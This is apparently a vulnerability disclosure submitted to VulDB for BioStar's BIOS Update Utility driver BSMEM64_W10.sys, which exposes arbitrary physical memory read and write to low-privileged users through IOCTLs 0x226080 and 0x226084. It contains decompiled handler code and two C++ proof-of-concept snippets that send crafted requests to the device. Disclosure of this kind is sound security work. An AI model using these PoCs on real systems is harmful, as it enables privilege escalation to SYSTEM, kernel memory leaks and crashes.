Submeter #894066: BIOSTAR Group BIOS Update Utility 1.9.7.3 Arbitrary Kernel Memory Read/Write

1. VULNERABILITY COMPONENT
Vendor Name: BioStar (official site: https://www.biostar.com.tw)
Product Name: BIOS Update Utility (download link: https://www.biostar.com.tw/app/en/mb/introduction.php?S_ID=1205&data-type=DOWNLOAD)
Affected Version(s): x.x.x.x
Affected Component/File: BSMEM64_W10.sys(SHA256: BAE39DA5CF6F4D8E7D34B903A1A78F5621738EF670165E7C47809F12594B0473)
Affected Routine/Function: sub_110BC(IOCTL handler)

2. VULNERABILITY DETAILS
Vulnerability Type: Arbitrary memory read and write
CWE ID: CWE-822, CWE-123, CWE-125
Attack Vector: Local
Required Privileges: User (Low-privileged user/Everyone group)

3. ANALYSIS DETAILS
Arbitrary Read and write
.text:0000000000011405(0x10000 + 0x1405):
```C++
v36 = v35 - 4;
if ( v36 )
{
if ( v36 != 4 )
goto LABEL_48;
v22 = KeGetCurrentIrql();
if ( v22 )
__writecr8(0);
SystemBuffer = (DWORD *)a2->AssociatedIrp.SystemBuffer;// write
Buffer.HighPart = 0;
v37 = *((unsigned __int16 *)SystemBuffer + 2);
Buffer.LowPart = *SystemBuffer;
v25 = (char *)MmMapIoSpace((PHYSICAL_ADDRESS)Buffer.LowPart, v37, MmNonCached);
qmemcpy(v25, (char *)SystemBuffer + 6, *((unsigned __int16 *)SystemBuffer + 2));
_InterlockedOr(v42, 0);
LABEL_27:
v5 = Length;
MmUnmapIoSpace(v25, *((unsigned __int16 *)SystemBuffer + 2));
if ( !v22 )
goto LABEL_71;
v26 = v22;
goto LABEL_70;
}
v22 = KeGetCurrentIrql();
if ( v22 )
__writecr8(0);
LABEL_26:
SystemBuffer = (DWORD *)a2->AssociatedIrp.MasterIrp;// read
Buffer.HighPart = 0;
v24 = *((unsigned __int16 *)SystemBuffer + 2);
Buffer.LowPart = *SystemBuffer;
v25 = (char *)MmMapIoSpace((PHYSICAL_ADDRESS)Buffer.LowPart, v24, MmNonCached);
qmemcpy((char *)SystemBuffer + 6, v25, *((unsigned __int16 *)SystemBuffer + 2));
goto LABEL_27;
}
```

4. TECHNICAL DESCRIPTION
Option A: Arbitrary Kernel Write (The "Write-What-Where" Flaw)

Description:
An untrusted pointer dereference vulnerability (CWE-822 / CWE-123) exists in the BSMEM64_W10.sys kernel-mode driver. The driver exposes a control code (IOCTL 0x226084) to user-mode applications. When handling this request, the driver's dispatch routine fails to validate a user-supplied pointer passed in the input buffer before executing a write operation to that memory address.

A local attacker with low privileges can craft a malicious IOCTL request containing a target kernel-space address and arbitrary data, allowing them to overwrite critical kernel structures (such as page tables or token privileges). This leads to a local privilege escalation (LPE) to NT AUTHORITY\SYSTEM or a system crash (BSOD).

Option B: Arbitrary Kernel Read

Description:
An out-of-bounds read vulnerability (CWE-125) exists in the BSMEM64_W10.sys kernel-mode driver. The driver's IOCTL handler (IOCTL 0x226080) accepts a physical memory address pointer directly from user-space without performing validation

The driver reads data from the specified kernel address and copies it back to the user-space output buffer. A local, low-privileged attacker can exploit this to leak arbitrary kernel memory, bypassing Kernel Address Space Layout Randomization (KASLR) or extracting sensitive system tokens and credentials.

5. PROOF OF CONCEPT (PoC)
Example:
The flaw can be reproduced by opening a handle to the device object and sending the control code with a crafted parameter:
Read Kernel Memory:
```c++
/* Read from kernel memory */
struct READ_WRITE_REQUEST
{
int PhysicalAddress;
__int16 Size;
unsigned __int8 Buffer[1];
};

auto bufferSize = sizeof(READ_WRITE_REQUEST) + 1023;
std::unique_ptr<READ_WRITE_REQUEST> req{ (READ_WRITE_REQUEST*)::operator new(bufferSize) };

// Dummp kernel base
// We can leak physical kernel base through other tricks
req->PhysicalAddress = 0x30a3000;
req->Size = 1024;

HANDLE hDevice = CreateFileW(L"\\\\.\\BSMEM", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice != INVALID_HANDLE_VALUE) {
DWORD bytesReturned{ 0 };
DeviceIoControl(hDevice, 0x226080, req.get(), FIELD_OFFSET(READ_WRITE_REQUEST, Buffer), req.get(), bufferSize, &bytesReturned, NULL);
}
```

Write Kernel Memory:
```c++
/* Write into kernel memory */
struct READ_WRITE_REQUEST
{
int PhysicalAddress;
__int16 Size;
unsigned __int8 Buffer[1];
};

auto bufferSize = sizeof(READ_WRITE_REQUEST) + 1023;

// Buffer not initialized, will write garbage data
std::unique_ptr<READ_WRITE_REQUEST> req{ (READ_WRITE_REQUEST*)::operator new(bufferSize) };

// Dummp kernel base
// We can leak physical kernel base through other tricks
req->PhysicalAddress = 0x30a3000;
req->Size = 0x200;

HANDLE hDevice = CreateFileW(L"\\\\.\\BSMEM", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);

if (hDevice != INVALID_HANDLE_VALUE) {
DWORD bytesReturned;
DeviceIoControl(hDevice, 0x226084, req.get(), FIELD_OFFSET(READ_WRITE_REQUEST, Buffer), req.get(), bufferSize, &bytesReturned, NULL);
}
```

6. CREDIT
Discoverer/Researcher: Jacky([email protected])

• Utilizador: Bigcat (UID 99687)
• Submissão: 17/07/2026 16h39 (há 2 meses)
• Moderação: 20/09/2026 22h31 (2 months later)
• Estado: Aceite
• Entrada VulDB: 408061 [BioStar BIOS Update Utility 1.9.7.3 IOCTL BSMEM64_W10.sys sub_110BC PhysicalAddress/Size Excesso de tampão]
• Pontos: 17